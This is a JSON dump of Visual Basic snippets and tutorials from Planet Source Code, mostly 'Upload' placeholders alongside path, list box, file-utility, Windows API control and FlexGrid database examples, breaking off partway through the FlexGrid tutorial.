zip."},{"WorldId":1,"id":12781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12589,"LineNumber":1,"line":"Public Function GetRelativePath(sBase As String, sFile As String)\n'------------------------------------------------------------\n' Accepts : sBase= Fully Qualified Path of the Base Directory\n' sFile= Fully Qualified Path of the File of which\n' the relative path is to be computed.\n' Returns : Relative Path of sFile with respect to sBase.\n' Modifies: Nothing.\n'------------------------------------------------------------\n' Author : Manas Tungare (www.manastungare.com)\n'------------------------------------------------------------\nDim Base() As String, File() As String\nDim I As Integer, NewTreeStart As Long, sRel As String\n If Left(sBase, 3) <> Left(sFile, 3) Then\n 'Since the files lie on different drives, the relative\n 'filename is same as the Absolute Filename\n GetRelativePath = sFile\n Exit Function\n End If\n \n Base = Split(sBase, \"\\\")\n File = Split(sFile, \"\\\")\n \n While Base(I) = File(I)\n I = I + 1\n Wend\n \n If I = UBound(Base) Then\n 'Then the Base Path is over, and the file lies\n 'in a subdirectory of the base directory.\n 'So simply append the rest of the path.\n While I <= UBound(File)\n sRel = sRel + File(I) + \"\\\"\n I = I + 1\n Wend\n 'Now remove the extra trailing \"\\\" we put earlier.\n GetRelativePath = Left(sRel, Len(sRel) - 1)\n Exit Function\n End If\n \n NewTreeStart = I\n 'The base path is not yet over, and we need to step\n 'back using the \"..\\\"\n While I < UBound(Base)\n sRel = sRel & \"..\\\"\n I = I + 1\n Wend\n \n While NewTreeStart <= UBound(File)\n sRel = sRel & File(NewTreeStart) + \"\\\"\n NewTreeStart = NewTreeStart + 1\n Wend\n 'Now remove the extra trailing \"\\\" we put earlier.\n GetRelativePath = Left(sRel, Len(sRel) - 1)\n \nEnd Function"},{"WorldId":1,"id":12242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12344,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13365,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14263,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21308,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12601,"LineNumber":1,"line":"Option Explicit\n'-----------------\n' Mod Name FieldProcessing\n' Author: W. Matos\n' Date: November 07, 2000\n' Description: This module provides a series of commands that acts upon\n' a set of list boxes (you can change the code to act upon both\n' list boxes and combo boxes by declaring the objects as\n' 'object' and not ListBox)\n' This module lets you:\n' 1) Add a field from a source object to a destination object\n' 2) Add all fields from a source object to a destination object\n' 3) Remove a field from a source object to a destination object\n' 4) Move a field up in the object.\n' 5) Move a field down in the object.\n'\n'\n' Comment: I understand the simplicity of this set of procedures. However,\n' I had never taken the time to actually create this. Since creating\n' this module, creating the forms has been greatly simplified.\n'\n'\n' Use: Here is a sample set of code on how to use:\n'\n' To add a field\n'Private Sub cmdAddSummaryField_Click()\n' AddField Me.lstAvailFlds, Me.lstSummaryFields\n'End Sub\n'\n' To Move a field down\n'Private Sub cmdMoveDownSummary_Click()\n' MoveFldDown lstSummaryFields\n'End Sub\n'\n' To move field up:\n'Private Sub cmdMoveUpSummary_Click()\n' MoveFldUp lstSummaryFields\n'End Sub\n'\n' to Remove a field\n'Private Sub cmdRemoveSummary_Click()\n' RemoveField lstSummaryFields\n'End Sub\n'\n' To add all fields:\n' Private Sub cmdRemoveAllSummary_Click()\n' AddAllFields lstAvailFlds, lstSummaryFields\n' End Sub\n'\n' To remove all fields:\n' Just call lstsummaryfields.clear\n'--------------------------\nPublic Sub AddAllFields(lstSource As Object, lstDest As Object)\n Dim x As Integer\n lstDest.Clear\n For x = 0 To lstSource.ListCount - 1\n lstDest.AddItem lstSource.List(x)\n Next x\nEnd Sub\nPublic Sub AddField(Src As Object, Dest As Object)\n Dim x As Integer\n If Src.ListIndex < 0 Then Exit Sub\n If Src.SelCount > 1 Then\n For x = 0 To Src.ListCount - 1\n If Src.Selected(x) Then Dest.AddItem Src.List(x)\n Next x\n Else\n Dest.AddItem Src.List(Src.ListIndex)\n End If\nEnd Sub\nPublic Sub RemoveField(Src As Object)\n Dim x As Integer\n If Src.ListIndex < 0 Then Exit Sub\n If Src.ListCount < 1 Then Exit Sub\n If Src.SelCount > 1 Then\nrestart:\n For x = 0 To Src.ListCount - 1\n If Src.Selected(x) Then\n Src.RemoveItem x\n GoTo restart\n End If\n Next x\n Else\n \n Src.RemoveItem Src.ListIndex\n End If\nEnd Sub\nPublic Sub MoveFldUp(lb As Object)\n Dim tmpField As String\n Dim i As Integer\n i = lb.ListIndex\n If lb.ListCount < 1 Then Exit Sub\n If i > 0 And i < lb.ListCount Then\n tmpField = lb.List(i - 1)\n lb.List(i - 1) = lb.List(i)\n lb.List(i) = tmpField\n lb.ListIndex = i - 1\n lb.Selected(i - 1) = True\n lb.Selected(i) = False\n End If\nEnd Sub\nPublic Sub MoveFldDown(lb As Object)\n Dim tmpField As String\n Dim i As Integer\n i = lb.ListIndex\n If lb.ListCount < 1 Then Exit Sub\n If i > -1 And i < lb.ListCount - 1 Then\n tmpField = lb.List(i + 1)\n lb.List(i + 1) = lb.List(i)\n lb.List(i) = tmpField\n lb.ListIndex = i + 1\n lb.Selected(i + 1) = True\n lb.Selected(i) = False\n End If\nEnd Sub\n\n"},{"WorldId":1,"id":11615,"LineNumber":1,"line":"\nPublic Function InVBDesignEnvironment() As Boolean\n \n Dim strFileName As String\n Dim lngCount As Long\n \n strFileName = String(255, 0)\n lngCount = GetModuleFileName(App.hInstance, strFileName, 255)\n strFileName = Left(strFileName, lngCount)\n \n InVBDesignEnvironment = False\n If UCase(Right(strFileName, 7)) = \"VB5.EXE\" Then\n InVBDesignEnvironment = True\n ElseIf UCase(Right(strFileName, 7)) = \"VB6.EXE\" Then\n InVBDesignEnvironment = True\n End If\nEnd Function\n"},{"WorldId":1,"id":25406,"LineNumber":1,"line":"I keep getting an error when I try to upload my zip file, so please go here to download it:\nhttp://storm.prohosting.com/eric650/game3.zip\ngoing to that link will bring up a new page, you must click on the link on this new page to begin the download"},{"WorldId":1,"id":12270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15122,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21513,"LineNumber":1,"line":"'-------FileSys V1.0-------\n'----by Samuel Truscott----\n'----www.pezcore.co.uk-----\nPublic Sub Save(filename as string)\nif filereal = true then\n if msgbox(\"Overwrite File?\", vbYesNo) = vbYes then\n deletefile(filename)\n 'save file code\nelse\n 'do NOT overwrite the file\nend if\nend if\nEnd Sub\nPublic Function FileReal(Filename) As Boolean\nOn Error goto Error\nIf Dir(Filename) = Filename Then\nFileReal = True\nElse\nFileReal = False\nEnd If\nExit Function\nError:\nExit Sub\nEnd Function\nPublic Function GetFileSize(FileName) As String\nOn Error GoTo Gfserror\nDim TempStr As String\nTempStr = FileLen(FileName)\nIf TempStr >= \"1024\" Then\n'KB\nTempStr = CCur(TempStr / 1024) & \"KB\"\n Else\n If TempStr >= \"1048576\" Then\n 'MB\n TempStr = CCur(TempStr / (1024 * 1024)) & \"KB\"\n Else\n TempStr = CCur(TempStr) & \"B\"\n End If\nEnd If\nGetFileSize = TempStr\nExit Function\nGfserror:\nGetFileSize = \"0B\"\nResume\nEnd Function\nPublic Function GetAttrib(FileName) As String\nOn Error GoTo GAError\nDim TempStr As String\nTempStr = GetAttr(FileName)\nIf TempStr = \"64\" Then\nTempStr = \"Alias\"\nEnd If\nIf TempStr = \"32\" Then\nTempStr = \"Archive\"\nEnd If\nIf TempStr = \"16\" Then\nTempStr = \"Directory\"\nEnd If\nIf TempStr = \"2\" Then\nTempStr = \"Hidden\"\nEnd If\nIf TempStr = \"0\" Then\nTempStr = \"Normal\"\nEnd If\nIf TempStr = \"1\" Then\nTempStr = \"ReadOnly\"\nEnd If\nIf TempStr = \"4\" Then\nTempStr = \"System\"\nEnd If\nIf TempStr = \"8\" Then\nTempStr = \"Volume\"\nEnd If\nGetAttrib = TempStr\nExit Function\nGAError:\nGetAttrib = \"Unknown\"\nResume\nEnd Function\nPublic Sub SetHidden(FileName As String)\nOn Error Resume Next\nSetAttr FileName, vbHidden\nEnd Sub\nPublic Sub SetReadOnly(FileName As String)\nOn Error Resume Next\nSetAttr FileName, vbReadOnly\nEnd Sub\nPublic Sub SetSystem(FileName As String)\nOn Error Resume Next\nSetAttr FileName, vbSystem\nEnd Sub\nPublic Sub SetNormal(FileName As String)\nOn Error Resume Next\nSetAttr FileName, vbNormal\nEnd Sub\nPublic Function GetFileExtension(FileName As String)\nOn Error Resume Next\nDim TempStr As String\nTempStr = Right(FileName, 2)\nIf Left(TempStr, 1) = \".\" Then\nGetFileExtension = Right(FileName, 1)\nExit Function\nElse\n TempStr = Right(FileName, 3)\n If Left(TempStr, 1) = \".\" Then\n GetFileExtension = Right(FileName, 2)\n Exit Function\n Else\n TempStr = Right(FileName, 4)\n If Left(TempStr, 1) = \".\" Then\n GetFileExtension = Right(FileName, 3)\n Exit Function\n Else\n TempStr = Right(FileName, 5)\n If Left(TempStr, 1) = \".\" Then\n GetFileExtension = Right(FileName, 4)\n Exit Function\n Else\n GetFileExtension = \"Unknown\"\n End If\n End If\n End If\nEnd If\n \nEnd Function\nPublic Function GetFileDate(FileName As String) As String\nOn Error Resume Next\nGetFileDate = FileDateTime(FileName)\nEnd Function\nPublic Sub DeleteFile(FileName As String)\nOn Error GoTo DelError\nKill FileName\nExit Sub\nDelError:\nMsgBox \"Error deleting File\"\nResume\nEnd Sub\nPublic Sub CopyFile(Source As String, Destination As String)\nOn Error GoTo CopyError\nFileCopy Source, Destination\nExit Sub\nCopyError:\nMsgBox \"Error copying File\"\nResume\nEnd Sub\nPublic Sub MoveFile(Source As String, Destination As String)\nOn Error GoTo MoveError\nFileCopy Source, Destination\nKill Source\nExit Sub\nMoveError:\nMsgBox \"Error moving File\"\nResume\nEnd Sub\nPublic Sub MakeDIR(Path As String)\nOn Error GoTo DIRError\nMkDir Path\nExit Sub\nDIRError:\nMsgBox \"Error creating Directory\"\nResume\nEnd Sub\nPublic Sub RemoveDIR(Path As String)\nOn Error GoTo DIRError2\nRmDir Path\nExit Sub\nDIRError2:\nMsgBox \"Error removing Directory\"\nResume\nEnd Sub\nPublic Sub CloseAllFiles()\nOn Error Resume Next\nReset\nEnd Sub\n"},{"WorldId":1,"id":12551,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11554,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"de\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Neue Seite 1</title>\n<meta name=\"Microsoft Theme\" content=\"none, default\">\n</head>\n<body>\n(best viewed in 1024 x 768)\nC++\nControls in your app - Now with tutorial\nHi, this is the update to my\ncode "Real C++ Controls in your app" which I submitted at the\nbeginning of September.\nNow somebody posted that this\ncode isn┬┤t explained well and so I wrote this tutorial.\nIf there would still be any\nproblems just E-Mail me at\n<a href=\"mailto:druid-developing@gmx.de\">druid-developing@gmx.de</a>\nImportant note: This tutorial\nis also included in the .zip file. You don┬┤t have to read it here.\n \n1. How to use\nthis code in your app\nFirst you have to include\nthe modMain.bas in your project.\nThen goto the menu "Project"\nand click "Properties of ...".\nIn this window set the\nStart Object to "Sub Main".\nIn the Sub Main which is\nin the modMain you can now create the controls.\nCall the function like\nthis:\n \nHwnd of the\ncontrol = CreateControl( "Edit" (Classname) , "This is a TextBox"\n(Text) , 3 (Left) , 3 (Top) , 100 (Width) , 50 (Height) , (Optional Style) )\n \nThat┬┤s it! No difficult API Calls, not\nmuch code, just ONE FUNCTION!\nVery easy to use, even\nfor beginners.\n \n2. How to\ninteract with the controls\nIf you want to use the\ncontrols like normal controls, with Events and Properties it is a bit more\ndifficult.\nFor every Property\nand Event you firs need the WindowHandle of the control.\nYou get it from the\nCreateControl function (look above).\nIf you want to get e.g.\nthe Text of a created TextBox control you can do it like this:\n \n'Declare\nVariable to save the WindowHandle\nPublic TextBoxHwnd as Long\n'Create the\nTextBox\nTextBoxHwnd =\nCreateControl( "Edit" , "Text to get" , 3 , 3 , 100 ,\n40 )\n \nUsing this Function you\ncan get the actual Text of the TextBox\nFunction\nGet_Text_Of_Control(ByVal cHwnd as Long) as String\nDim\nControlText As String\nControlText = Space(254)\n'Use the GetWindowText API to get the actual\ntext of the TextBox control\n GetWindowText\ncHwnd ,\nControlText , 254\nGet_Text_Of_Control\n= Trim(ControlText)\nEnd Function\n \nUse this function like\nthis:\nTextBoxText =\nGet_Text_Of_Control(TextBoxHwnd)\nMsgBox\nTextBoxText\n \nTo use an Event, e.g. the click Event of\na Button you can do it like this:\n \n'Declare\nVariable to save the WindowHandle\nPublic ButtonHwnd as Long\n 'To save the old WindowProcedure for the button\nPublic gButOldProc as Long\n \n'Create the\nButton\nButtonHwnd =\nCreateControl( "Button" , "Click this button" , 3 , 3\n, 100 , 40 )\n 'Get the address of the standard button procedure and save it in\n"gButOldProc"\ngButOldProc& = GetWindowLong(ButtonHwnd&,\nGWL_WNDPROC)\n'Use GWL_WNDPROC to save the adress of the procedure for the\nbutton\n'You have to do this for every control you want to have a procedure\n Call SetWindowLong(ButtonHwnd&, GWL_WNDPROC, GetAddress(AddressOf ButtonWndProc))\n \n'This is the procedure that is called when you click the button\nPublic Function ButtonWndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n Select Case uMsg&\n Case WM_LBUTTONUP:\n'Left button is up (user clicked the Button)\n'Use\n"WM_LBUTTONDOWN"\nMsgBox\n"The button was clicked"\n'Call the standard window proc\n ButtonWndProc = CallWindowProc(gButOldProc&, hwnd&, uMsg&, wParam&, lParam&)\nEnd Function\n \n3. Final\nExplanations\nThe special thing on this\ncode is that you can use every registered Windows class name for a control.\nYou can also create an\nown class name using the API "RegisterWindowClass".\nThat┬┤s all for today,\nbye.\nMaybe I update this code\nonce more.\nPS: Please excuse me\nfor my bad English, I┬┤m German.\nAnd PLEASE,\nPLEASE, PLEASE VOTE FOR ME!!!\n</body>\n</html>\n"},{"WorldId":1,"id":11252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29404,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29928,"LineNumber":1,"line":"WebBrowser1.Navigate "about:<html><body scroll='no'><BODY TOPMARGIN='0' \nLEFTMARGIN='0' MARGINWIDTH='0' MARGINHEIGHT='0'><img scr='LOCATION OF GIF'></img></body></html>""},{"WorldId":1,"id":12825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11155,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33700,"LineNumber":1,"line":"http://www.planetsourcecode.com/vb/scripts/showcode.asp?txtCodeId=33496&lngWId=1"},{"WorldId":1,"id":10552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10775,"LineNumber":1,"line":"'this code will give you a valid filename, whether the app.path return has a backslash or not, and displays a message box.\n'Please Vote for me at Planet Source Code\nif right(app.path,1) = \"\\\" then 'sees if the directory has a backslash at the end of it\nmsgbox app.path & \"filename.file\"\ngoto ResumeMe\nend if\nmsgbox app.path & \"\\filename.file\"\nResumeMe:"},{"WorldId":1,"id":12886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13562,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>FlexGrid Tutorial</title>\n</head>\n<body>\n<table border=\"0\" width=\"100%\">\n <tr>\n <td width=\"100%\">\n<h1 align=\"center\">FlexGrid Tutorial</h1>\n This program is designed to teach the user how to load\ndata into a FlexGrid from a database and then manipulate the FlexGrid to perform typical database actions such as Add, Edit, Sort, and\nDelete. \n\n<h2>Part One - Setting Up the FlexGrid</h2>\n \n<h3>1st Step: </h3>\nA. Go to the Project Menu Tab and select Components. \nB. Add the Microsoft Flexgrid Control 6.0\n\n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/component.jpg\">Picture\nOne</a>\n\n \nC. Go to the Project menu Tab and select References. \nD. Add Microsoft ActiveX Data Objects 2.1 Libray.\n\n \n\n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/reference.jpg\">Picture\nTwo</a>\n\n<h3>2nd Step</h3>\nA. Rename the form to frmMain. \nB. Change the form's Caption To \"FlexGrid Tutorial" \nC. Rename the project to FlexGridTutorial. \nD. Add a FlexGrid to the form. \nE. Using the property window, Rename the FlexGrid to fg. \n\n \n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/frmmain01.jpg\">Picture\nThree</a>\n<h3>3rd Step:</h3>\n \nA. Declare a connection and recordset object (Code Follows). \nB. In the Form_Load Event, open the connection and recordset (Code Follows). \nC. Also, from the Form_Load Event, call the LoadFG Procedure (This is not written yet- It will be the next step). \n \nOption Explicit \nDim WithEvents cn As ADODB.Connection \nDim WithEvents rs As ADODB.Recordset \n \nPrivate Sub Form_Load() \n \n Dim strConnect As String \n \n strConnect = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & _ \n App.Path & \"\\fgtutorial.mdb\" \n \n Set cn = New ADODB.Connection \n cn.CursorLocation = adUseClient \n cn.Open strConnect \n \n Set rs = New ADODB.Recordset \n rs.CursorLocation = adUseClient \n rs.CursorType = adOpenForwardOnly \n rs.LockType = adLockPessimistic \n rs.Source = \"SELECT * FROM [Employees]\" \n rs.ActiveConnection = cn \n rs.Open \n \n Call LoadFG \nEnd Sub \n \n\n<h3>4th Step: \n</h3>\nA. Write the LoadFG Procedure as follows \n \nPrivate Sub LoadFG() \n \n 'The AllowUserResizing property \n ' allows the user to resize \n ' the columns and rows during \n ' runtime when it is set to \n ' flexResizeBoth. \n ' The other options are: \n ' flexResizeColumns \n ' flexResizeNone \n ' flexResizeRows \n \n fg.AllowUserResizing = flexResizeBoth \n \n 'Set the number of columns by using the \n ' number of fields plus one. One is added \n ' in order to leave the first column \n ' (row headers) blank. Note that you can \n ' use any number for the number of columns \n ' if you want to leave certain data out. \n ' For example, if you only want to use \n ' three fields out of ten, set fg.cols \n ' equal to 4. \n fg.Cols = rs.Fields.Count + 1 \n \n 'Set the number of rows equal to one \n ' for the time being. We do this since \n ' we are going to be adding the column \n ' titles first. When we are finished \n ' adding the column headers, we will \n ' populate the rest of the table. \n fg.Rows = 1 \n \n Dim i As Integer 'This will be a counter. \n \n 'Fill in the column headings with the \n ' field names from the recordset. Note \n ' that we are using the field names \n ' from the database for the column \n ' headers. You could \n ' assign whatever header you like by \n ' simply doing something like the \n ' following: \n ' fg.Col = 0 \n ' fg.Text = \"First Column\" \n ' fg.Col = 1 \n ' fg.Text = \"Second Column\" \n ' etc. \n 'Row 0 is the first row (and only row). It is \n ' where the headers will be placed. \n fg.Row = 0 \n For i = 0 To rs.Fields.Count - 1 \n 'Move to column i. Remember that the \n ' first column is left blank so \n ' we shift over 1. \n fg.Col = i + 1 \n \n 'The following line aligns the cell. \n ' The other options for alignment are: \n ' \n ' flexAlignLeftTop 0 \n ' flexAlignLeftCenter 1 \n ' flexAlignLeftBottom 2 \n ' flexAlignCenterTop 3 \n ' flexAlignCenterCenter 4 \n ' flexAlignCenterBottom 5 \n ' flexAlignRightTop 6 \n ' flexAlignRightCenter 7 \n ' flexAlignRightBottom 8 \n ' flexAlignGeneral 9 \n fg.ColAlignment(i) = flexAlignLeftCenter \n \n 'Set the text in the current cell \n ' to the field name. \n fg.Text = rs.Fields(i).Name \n Next \n \n 'This would be a good time to run\nthe project \n ' to see what you have.\nTry to resize the \n ' columns using the mouse. \n \n \n 'Fill in the data from the db into the \n ' grid. \n Do While Not rs.EOF \n 'Add a row to the FlexGrid everytime \n ' the database goes to another row. \n fg.Rows = fg.Rows + 1 \n \n 'Move to last row to add data. \n fg.Row = fg.Rows - 1 \n \n 'Move to every cell in the row \n ' and fill it in with the \n ' corresponding value from the \n ' database. \n For i = 0 To rs.Fields.Count - 1 \n \n'Remember that the \n \n' first column is left blank so \n \n' we shift over 1. \n \nfg.Col = i + 1 \n \nfg.Text = rs(i).Value & \"\" \n Next \n 'Move to the next record. \n rs.MoveNext \n Loop\n\n \n\n\n 'The first column is the headers for the \n\n ' rows. Change its width so that \n\n ' it is not as wide as the other columns. \n\n ' You could change all column widths \n\n ' with a for next loop. \n fg.ColWidth(0) = 500 \n \n 'The FlexGrid is loaded. \n ' Now is a good time to run the \n ' the program and view your results. \nEnd Sub\n \n \n\n<h2>Part Two - Adding Common Database Functions\n</h2>\n<h3>1st Step\n</h3>\nA. Go to the Tools Menu and select Menu Editor. \nB. Add the following menus: \n File \n Exit \n Edit \n Add \n Delete \n Sort \n Properties of Menus: \n Name \nCaption \n mnuFile \n&File \n mnuFileExit \nE&xit \n mnuEdit \n&Edit \n mnuEditAdd &Add \n mnuEditDelete &Delete \n mnuEditSort &Sort\n\n \n\n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/menueditor.jpg\">Picture\nFour</a>\n\n\nC. Program in the follwing procedures for the mnuFileExit_Click event. \n \n \n \nPrivate Sub mnuFileExit_Click() \n \n \n 'Tidy up the objects floating in memory. \n Set cn = Nothing \n Set rs = Nothing \n End \nEnd Sub\n\n<h3> \n2nd Step\n</h3>\nA. Add the following code for the delete procedure. \n \nPrivate Sub mnuEditDelete_Click() \n \n Dim intChoice As Integer \n Dim intEmployeeID As Integer \n \n 'Move to column 0 so that we can get \n ' the employeeid number. This will \n ' be used to delete the record from \n ' the database. \n fg.Col = 1 \n intEmployeeID = fg.Text \n \n 'find the desired record and kill it. \n rs.MoveFirst \n rs.Find (\"EmployeeID Like '\" & intEmployeeID & \"'\") \n intChoice = MsgBox(\"Are you sure you want to delete \" & _ \n \"the record of \" & rs.Fields(\"FirstName\").Value & \" \" & _ \n \nrs.Fields("LastName").Value & "?", vbYesNo, \"Delete?\") \n \n 'Confirm Delete \n If intChoice = vbYes Then \n rs.Delete \n \n 'This command does not delete the row from \n ' database. It just removes the row. \n ' from the flexgrid. \n fg.RemoveItem (fg.Row) \n Else \n MsgBox \"Delete Cancelled\", vbOKOnly, \"Cancelled\" \n End If\n\n \n\n 'Potential Problem: You cannot remove the last \n ' non-fixed row from the flexgrid. Try it. \n ' Delete all rows. When you delete the last \n ' one, it is deleted from the database, but \n ' not from the flexgrid. \n 'I do not know the best solution for this \n ' problem, but I do have temporary solution \n ' that works for me. \n ' Replace fg.RemoveItem (fg.Row) with the \n ' following code: \n ' \n ' if rs.RecordCount <> 0 then \n ' \nfg.RemoveItem(fg.Row) \n ' Else \n ' \nfg.RowHeight(fg.Row) = 0 \n ' End If \n ' \n 'The problem with this fix is that the row still \n ' exists in the flexgrid until the app is \n ' closed. When it is opened again, the \n ' row will not be there. \nEnd Sub\n\n<h3>3rd Step\n</h3>\nA. Program the following code for the mnuEditSort_Click procedure\n\nPrivate Sub mnuEditSort_Click() \n 'This will sort the flexgrid according to \n ' the column that is selected. We have \n ' selected sort ascending. The other options \n ' are given below. \n fg.Sort = 1 \n \n 'flexSortNone = 0 \n 'flexSortGenericAscending = 1 \n 'flexSortGenericDescending = 2 \n 'flexSortNumericAscending = 3 \n 'flexSortNumericDescending = 4 \n 'flexSortStringNoCaseAsending = 5 \n 'flexSortNoCaseDescending = 6 \n 'flexSortStringAscending = 7 \n 'flexSortStringDescending = 8 \n \n 'It it not a bad idea to add a menu item \n ' for sort descending and sort ascending.\n\n \n\n 'Potential Problem: The first column is fixed. \n ' You cannot select a cell in the first column. \n ' \n ' fg.Col = 0 \n ' fg.Sort = 1 \n ' but this takes away the use of the mouse \n ' in selecting a column. \n ' Another solution is to leave the first column \n ' empty when you are loading the table. Start \n ' with 1 instead of 0 when filling in values \n ' on the row. This is the solution we used. \nEnd Sub\n\n<h3>4th Step\n</h3>\nIn this step we will add a new row to the grid. Adding a row is easy. You just \nput in fg.AddItem \"\". This adds a blank row. It doesn't do any good to add a row unless you can put data into your\ndatabase though. It is a lot harder to get this done. \n\n \nA. Add a text box to the form named txtCell. Set the text property to \"\",\nset the visible property to false,\nand the border style to none.\n\n \n\n\n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/frmmain02.jpg\">Picture\nFive</a>\n\nB. Add the following code for the add procedure.\n\nPrivate Sub mnuEditAdd_Click() \n 'Add a new record to the DB. We need to do this \n ' in order to get the next Employee ID number \n ' since the EmployeeID is an autonumber field. \n rs.AddNew \n \n 'In this particular database, FirstName and \n ' lastname are required fields. Since the \n ' user needs to enter values for them, we \n ' use empty strings for the values \n ' until they can be filled in. \n rs.Fields(\"FirstName\").Value = \" \" \n rs.Fields(\"LastName\").Value = \" \" \n \n 'Save the record. It would be nice if escape \n ' could cancel the update, but I haven't \n ' got that part figured out yet. \n 